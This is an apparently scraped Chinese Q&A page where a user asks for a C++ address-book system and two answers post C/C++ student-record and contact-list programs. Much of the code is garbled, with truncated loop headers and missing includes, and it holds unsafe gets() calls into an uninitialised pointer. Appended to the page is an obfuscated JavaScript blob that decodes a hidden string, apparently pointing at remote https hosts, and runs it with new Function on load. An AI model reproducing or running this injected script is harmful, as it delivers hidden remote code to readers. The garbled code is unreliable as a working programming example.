急求c++通讯录管理系统!限期三天!真急!

2025-03-04 07:54:05
推荐回答(2个)
回答1:

这是我写的一个程序 麻烦你看一下 看能不能帮上你的忙
#include
#include
#include
#define YN {do {yes_no=getch();printf("%c",yes_no);}while(yes_no!='y'&&yes_no!='Y'&&yes_no!='n'&&yes_no!='N');}
/*判断学号是否为空*/
#define XH {do {gets(temp.xh);}while(strcmp(temp.xh," ")==0);}
/*录入学生的学号、班级、姓名、性别、生日、籍贯、学院*/
#define SEX {do{printf("xingbie(w for woman,m for man):\n");gets(temp.xb);}while(temp.xb[0]!='w'&&temp.xb[0]!='m');}
#define LR {printf("banji:");gets(temp.bj);printf("xingming:");gets(temp.xm); SEX printf("shengri:");gets(temp.sr);printf("jiguan:");gets(temp.jg);printf("xueyuan:");gets(temp.xy);}
/*判断文件是否打开*/
#define PDW {if(fp==NULL) {printf("\n The file can't be opened\n");return;}}
#define PD {while(temp.xh[0]!='#'&&temp.bj[0]!='#'&&temp.xm[0]!='#'&&temp.xb[0]!='#'&&temp.sr[0]!='#'&&temp.jg[0]!='#'&&temp.xy[0]!='#');}
/*将学生的档案放进文件fp中*/
#define GS0 {fprintf(fp,"%10s%10s%10s%10s%10s%10s%10s\n",temp.xh,temp.bj,temp.xm,temp.xb,temp.sr,temp.jg,temp.xy);}
/*如果学生的信息不为空,则将该学生的信息输入文件fp中*/
#define PD1 {if(temp.xh[0]!='#'&&temp.bj[0]!='#'&&temp.xm[0]!='#'&&temp.xb[0]!='#'&&temp.sr[0]!='#'&&temp.jg[0]!='#'&&temp.xy[0]!='#') GS0}
/*从文件fp中接收学生的档案信息*/
#define GS {fscanf(fp,"%10s%10s%10s%10s%10s%10s%10s\n",temp.xh,temp.bj,temp.xm,temp.xb,temp.sr,temp.jg,temp.xy);}
/*通过结构体数组接收文件fp中的学生档案信息*/
#define GS1 {fscanf(fp,"%10s%10s%10s%10s%10s%10s%10s\n",stu[i].xh,stu[i].bj,stu[i].xm,stu[i].xb,stu[i].sr,stu[i].jg,stu[i].xy);}
/*通过结构体数组将学生信息传送到文件fp中*/
#define GS2 {fprintf(fp,"%10s%10s%10s%10s%10s%10s%10s\n",stu[i].xh,stu[i].bj,stu[i].xm,stu[i].xb,stu[i].sr,stu[i].jg,stu[i].xy);}
#define SRW {while(feof(fp)==0){GS1 i++;n++;}} /*判断是否已执行到文件尾,并用i,n记录学生人数*/
#define PT {printf("%c",choose);} /*回显所选数*/
#define PTF {printf("%-10s%-10s%-10s%-10s%-10s%-10s%-10s\n",temp.xh,temp.bj,temp.xm,temp.xb,temp.sr,temp.jg,temp.xy);}
#define PTF1 {printf("%-10s%-10s%-10s%-10s%-10s%-10s%-10s\n",stu[i].xh,stu[i].bj,stu[i].xm,stu[i].xb,stu[i].sr,stu[i].jg,stu[i].xy);}
#define GS3 {printf("\nxuehao banji xingming xingbie shengri jiguan xueyuan \n");}
#define N 100
struct student
{char xh[10];
char bj[10];
char xm[10];
char xb[2];
char sr[10];
char jg[10];
char xy[10];

};
void menu(); /*函数声明*/
void creat();
void refert();
void delete();
void add();
void modify();
void show();
void tongji();
void order();
void password();
main()
{ char choose,yes_no;
do
{ menu(); /*调用菜单函数*/
printf("\n\t\t please choose(1-9):");
choose=getch();
switch(choose)
{case '1':PT creat();break;
case '2':PT refert();break;
case '3':PT password();
delete();break;
case '4':PT add();break;
case '5':PT password();
modify();break;
case '6':PT show();break;
case '7':PT tongji();break;
case '8':PT order();break;
case '9':PT break;
default:printf("\n %c choose wrong!\n",choose);
}
if(choose=='9')
break;
printf("do you want to cotinue?(y/n)\n");
YN
}while(yes_no=='y'||yes_no=='Y');
}
/*制作菜单*/
void menu()
{clrscr(); /*清屏*/
printf("\n\n\n");
printf("\t\tWelcome to the student information manage system!\n");
printf("\t\t the designer--------yourname \n");
printf("\t\t *********************************\n");
printf("\t\t * please input order number *\n");
printf("\t\t * 1----------------creat *\n"); /*录入学生档案*/
printf("\t\t * 2----------------refer to *\n"); /*查询学生档案*/
printf("\t\t * 3----------------delete *\n"); /*删除学生档案*/
printf("\t\t * 4----------------add *\n"); /*添加学生档案*/
printf("\t\t * 5----------------modify *\n"); /*修改学生档案*/
printf("\t\t * 6----------------show *\n"); /*显示学生档案*/
printf("\t\t * 7----------------tongji *\n"); /*统计同一个学院的学生人数*/
printf("\t\t * 8----------------order *\n"); /*学生档案的排序*/
printf("\t\t * 9----------------exit *\n"); /*退出*/
printf("\t\t *********************************\n");

}
/*录入学生档案*/
void creat()
{int i=1;
struct student temp;
FILE *fp;
fp=fopen("f:\\123.txt","w"); /*以只写方式打开文件,且测试*/
PDW
do{ clrscr();
printf(" every pace end with '#'\n ");
printf(" please input number %d information:\n",i);
printf(" xuehao:");
XH /*判断学号是否为空*/
LR /*录入学生的学号、班级、姓名、性别、生日、籍贯、学院*/
PD1 /*判断学生信息是否为空,并放进文件fp中*/
i++;
} while(temp.xh[0]!='#'&&temp.bj[0]!='#'&&temp.xm[0]!='#'&&temp.xb[0]!='#'&&temp.sr[0]!='#'&&temp.jg[0]!='#'&&temp.xy[0]!='#');
fclose(fp); /*关闭文件*/
}
/*查询学生档案*/
void refert()
{char c,mid[10],b[10];
FILE *fp;
int flag=0,n=0;
struct student temp;
fp=fopen("f:\\123.txt","r"); /*打开文件*/
PDW
clrscr();

printf("\n which way to refetr to ?number(1) or name(2)?choose(1-2):\n");
c=getch();

if(c=='2') /*按姓名查询*/
{ printf("\nPlease input the student's name\n");
gets(mid);
}
else if(c=='1') /*按学号查询*/
{ printf("\nPlease input number\n");
gets(mid);
}
else { printf("Error!");
return;
}
while(feof(fp)==0)
{ GS
if(c=='1')
strcpy(b,temp.xh); /*将学生的学号复制到b中*/
else
strcpy(b,temp.xm); /*将学生的姓名复制到b中*/
if(strcmp(mid,b)==0) /*比较大小函数*/
{ if(flag==0)
{ GS3
PTF
}
flag=1;
}
n++;
}
if(n==0) printf("no list!\n"); /*已经到文件尾*/
else if(flag==0)
printf("no find\n"); /*没有到文件尾,但没有此人*/
}

void delete() /*删除函数*/
{ char c,mid[10],b[10];
int n=0,i=0,k;
FILE *fp;
struct student stu[N];
fp=fopen("f:\\123.txt","r"); /*打开并测试文件*/
PDW /*判断文件是否打开*/
SRW /*判断是否已执行到文件尾,并用i,n记录学生人数*/
fclose(fp);
clrscr();
printf("\nPlease input the deleting student's way\n");
printf("\n1----number,2----name please choose(1-2):");
c=getch();
if(c=='1')
{ printf("\nplease input the student's number:");
gets(mid);
}
else if(c=='2')
{ printf("\nplease input name:");
gets(mid);
}
else {printf("Error!");return;}

for(i=0;i { if(c=='1')
strcpy(b,stu[i].xh); /*将学生的学号复制到b中*/
else
strcpy(b,stu[i].xm); /*将学生的姓名复制到b中*/
if(strcmp(mid,b)==0) break; /*将要删除的学生信息和原有的信息作比较*/
}
if(i for(k=i;k stu[k]=stu[k+1];
else {printf("No the student!\n");return; }
fp=fopen("f:\\123.txt","w");
PDW
for(i=0;i GS2 /*将学生信息传送到文件fp中*/
fclose(fp);
}

void add() /*添加学生信息函数*/
{
char c,yes_no;
int n=0,i=0;
struct student temp,stu[N];
FILE *fp;
fp=fopen("f:\\123.txt","r");
PDW /*判断文件是否打开*/
SRW /*判断是否已执行到文件尾,并用i,n记录学生人数*/
clrscr();
for(i=0;i PTF1
do{ printf("\nplease input the new information:\n");
printf("xuehao:");
XH
LR
for(i=0;i if(strcmp(temp.xh,stu[i].xh)==0) /*将要添加的学生学号和原有的学生学号做比较*/
{ printf("\nThe number is repeat do you want to input again(y/n)?:");
YN
putchar('\n');
break;
}
if(i==n) {stu[i]=temp;break;}
}while(yes_no=='y'||yes_no=='Y');
if(i fp=fopen("f:\\123.txt","w");
PDW
for(i=0;i<=n;i++)
GS2 /*将学生信息传送到文件fp中*/
fclose(fp);
}

void modify() /* 修改学生信息函数*/
{char c,yes_no;
int n=0,i=0;
struct student *find,temp,stu[N],*p;
FILE *fp;
fp=fopen("f:\\123.txt","rb"); /*打开文件*/
PDW
SRW
fclose(fp);
if(n==0)
{ printf("\n No the information!\n");return;}
clrscr();
printf("\nPlease input the number of the modifying student:");
gets(temp.xh);
for(p=stu;p if(strcmp(temp.xh,p->xh)==0)
{ find=p;break;} /*用find记录要修改的学生学号*/
if(p==stu+n)
{ printf("No the person!\n");return;}
do
{ printf("\nPlease input the new student's information:\n");
printf("xuehao:");
gets(temp.xh);
XH /*判断学号是否为空*/
LR /*录入学生的学号、班级、姓名、性别、生日、籍贯、学院*/
for(p=stu;p if(strcmp(temp.xh,p->xh)==0&&p!=find)
{ printf("\nThe number is repeat, do you want to cotinue(y/n)?");
YN
putchar('\n');
break;
}
if(p==stu+n)
{ *find=temp; /*将新的学生信息赋给被修改的学生*/
break;
}
}while(yes_no=='y'||yes_no=='Y');
fp=fopen("f:\\123.txt","w");
PDW
for(i=0;i GS2
fclose(fp);
}

void show() /*显示学生信息函数*/
{int n=0,i=0;
struct student stu[N];
FILE *fp;
fp=fopen("f:\\123.txt","r");
PDW
clrscr();
GS3
SRW /*判断是否已执行到文件尾,并用i,n记录学生人数*/
if(n==0)
{
printf("No the student");
return;
}
else
{ for(i=0;i PTF1
}
printf("\nHave %d information",n);

fclose(fp);
}

void tongji() /*统计在同一个学院的学生人数*/
{int i=0,n=0,k=0;
char mid[10];
FILE *fp;
struct student stu[N];
fp=fopen("f:\\123.txt","r");
PDW
SRW
fclose(fp);
clrscr();
printf("\nplease input xueyuan name:");
gets(mid);

GS3
for(i=0;i if(strcmp(mid,stu[i].xy)==0)
{ PTF1
k++; /*记录符合条件的学生人数*/
}
printf("\nThere are %d students in the same university!\n",k);
}

void order() /*排序函数*/
{int i=0,n=0;
struct student stu[N],*p,*q,temp;
FILE *fp;
char c;
fp=fopen("f:\\123.txt","r");
PDW
SRW

if(n==0)
{ printf("no the student!\n");return; }
else {clrscr();
printf("\nWhich way to order ?number(1) or name(2):\n");
printf("\nPlease choose(1-2):");

c=getch();
putchar(c);

if(c=='1')

{ for(p=stu;p for(q=p+1;q if(strcmp(p->xh,q->xh)>0)
{ temp=*p;
*p=*q;
*q=temp;
}
}
else if(c=='2')

{
for(p=stu;p for(q=p+1;q if(tolower(p->xm[0])>tolower(q->xm[0])) /*按字母排序*/
{temp=*p;
*p=*q;
*q=temp;
}
}
else {printf("Error");return;}
}
printf("\n higher(1) or lower(2) order?\n"); /*按升序排(1)还是降序(2)*/
printf("\nplease choose(1-2):\n");
c=getch();
putchar(c);

if(c=='1')
{GS3
for(i=0;i {PTF1
GS2 /*将学生信息传送到文件fp中*/
}
}
else if(c=='2')
{GS3
for(i=n-1;i>=0;i--)
{PTF1
GS2
}
}
else {printf("Error");return;}
fclose(fp);

}
void password()
{char password[11]="123456",*p;
int count=0;
do
{if(count>0)
printf("Error!input again\n");
printf("please input password\n");
gets(p);
count++;
}while(strcmp(password,p)!=0&&count<3);
if(count>=3)
exit(1);
}

回答2:

第一个头文件 LINKLIST.H:
#include
#include
#include
#include

//预定义常量
#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
#define OVERFLOW -2

//单链表元素数据类型定义
typedef struct { //结点数据域类型定义
char num[5]; //编号
char name[10]; //姓名
char sex[3]; //性别
char phone[13]; //电话
char addr[30]; //地址
} ElemType;

typedef struct LNode{ //单链表的结点类型定义
ElemType data; //数据域
struct LNode *next; //指针域
} LNode , *LinkList;

//布尔类型定义
typedef int BOOL;

//函数返回类型定义
typedef int Status;

//单链表操作的函数原型声明
Status CreateList(LinkList &L); //构造带表头结点的通信录单链表
void Insert(LinkList &L,ElemType e); //人员记录的插入
LNode * Find(LinkList L); //通信录查询
void Delete(LinkList &L); //人员记录的删除
void PrintList(LinkList L); //遍历表,输出每个表元素值

第二个头文件 MENU.H:
#include

int menu_select(); //菜单选择函数
第一个C++文件 LINKLIST.CPP:
#include "linklist.h"

Status CreateList(LinkList &L)
{ //用尾插法建立带表头结点的通信录单链表L,输入记录按num有序
//system("cls");
int flag=1;
LNode *p,*rear;
L = (LinkList)malloc(sizeof(LNode));
if (!L) return ERROR;
L->next = NULL;
rear=L; //尾指针初始指向头结点
while (flag==1)
{
p=(LinkList)malloc(sizeof(LNode)); //申请新结点
printf("编号(4)姓名(8) 性别 电话(11) 地址(30)\n");
scanf("%s%s%s%s%s",p->data.num,p->data.name,p->data.sex,p->data.phone,p->data.addr);
rear->next =p;
rear=p;
printf("继续输入吗?(1/0)");
scanf("%d",&flag);
}
rear->next =NULL;
return OK;
}

void Insert(LinkList &L,ElemType e)
{ //人员记录的插入,使记录按num有序
LNode *p1,*p2,*p;
p1=L;
p2=p1->next ;
while (p2!=NULL && strcmp(p2->data.num,e.num)<0)
{
p1=p2;p2=p2->next;
}
p=(LinkList)malloc(sizeof(LNode)); //申请新结点
strcpy(p->data.num,e.num);
strcpy(p->data.name,e.name);
strcpy(p->data.sex,e.sex);
strcpy(p->data.phone,e.phone);
strcpy(p->data.addr,e.addr);
p1->next =p;
p->next =p2;
}

LNode * Find(LinkList L)
{ //通信录查询
LNode *p;
char num[5];
char name[10];
int select;
//system("cls");
printf("===============\n");
printf("1. 按编号查询 \n");
printf("2. 按姓名查询 \n");
printf("===============\n");
printf("请选择:\n");
p=L->next ;
scanf("%d",&select);
if (select==1)
{
printf("请输入要查找的编号:");
scanf("%s",num);
while (p && strcmp(p->data.num,num)<0)
p=p->next;
if (p==NULL || strcmp(p->data.num,num)>0)
{
p=NULL;
}
}
else
if (select==2)
{
printf("请输入要查找的姓名:");
scanf("%s",name);
while (p && strcmp(p->data.name,name)!=0)
p=p->next;
}
return p;
}

void Delete(LinkList &L)
{ //人员记录的删除
LNode *p,*q;
p=Find(L);
if (p==NULL)
{
printf("未查到要删除的记录!\n");
return;
}
q=L;
while (q!=NULL && q->next !=p)
q=q->next;
q->next =p->next ;
free(p);
printf("记录已被删除!\n");
}

void PrintList(LinkList L)
{ //遍历表,输出每个表元素值
LNode *p=L->next ;
system("cls");
printf("编号 姓 名 性别 电 话 地 址\n");
printf("-----------------------------------------------------\n");
while (p!=NULL)
{
printf("%s%s%s%s%s\n",p->data.num,p->data.name,p->data.sex,p->data.phone,p->data.addr);
printf("-----------------------------------------------------\n");
p=p->next ;
}
}
第二个C++文件 MENU.CPP:
#include "menu.h"

/***********************/
/* 菜单选择函数 */
/***********************/
int menu_select()
{
int sele;
printf("\n 通信录管理系统\n");
printf("===================================\n");
printf(" 1. 通信录单链表的建立\n");
printf(" 2. 人员记录的插入\n");
printf(" 3. 通信录的查询\n");
printf(" 4. 人员记录的删除\n");
printf(" 5. 通信录的输出\n");
printf(" 0. 退出系统\n");
printf("===================================\n");
printf(" 请选择 0--5:\n");
for(;;)
{
scanf("%d",&sele);
if (sele<0||sele>5)
printf("\n\t输入错误,重选0--5:");
else
break;
}
return sele;
}
主函数 MN.CPP:
#include "linklist.h"
#include "menu.h"

void main()
{
LinkList L,p;
ElemType e;
for (;;)
{
switch(menu_select())
{
case 1:
printf("****************************\n");
printf("* 通信录单链表的建立 *\n");
printf("****************************\n");
CreateList(L);
break;
case 2:
printf("****************************\n");
printf("* 人员记录的插入 *\n");
printf("****************************\n");
printf("编号(4)姓名(8) 性别 电话(11) 地址(30)\n");
scanf("%s%s%s%s%s",e.num,e.name,e.sex,e.phone,e.addr);
Insert(L,e);
break;
case 3:
printf("****************************\n");
printf("* 通信录的查询 *\n");
printf("****************************\n");
p=Find(L);
if (p!=NULL)
{
printf("编号 姓 名 性别 电 话 地 址\n");
printf("-----------------------------------------------------\n");
printf("%s%s%s%s%s\n",p->data.num,p->data.name,p->data.sex,p->data.phone,p->data.addr);
printf("-----------------------------------------------------\n");
}
else
printf("没有查到要查询的人员!\n");
break;
case 4:
printf("****************************\n");
printf("* 人员记录的删除 *\n");
printf("****************************\n");
Delete(L);
break;
case 5:
printf("****************************\n");
printf("* 通信录的输出 *\n");
printf("****************************\n");
PrintList(L);
break;
case 0:
printf("\t 退 出 !\n");
return;
}
}
}

注:楼主需先建立一个空的工程,然后新建上述的几个文件(复制粘贴就行),我已经编译运行过了,能够满足要求的说O(∩_∩)O~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();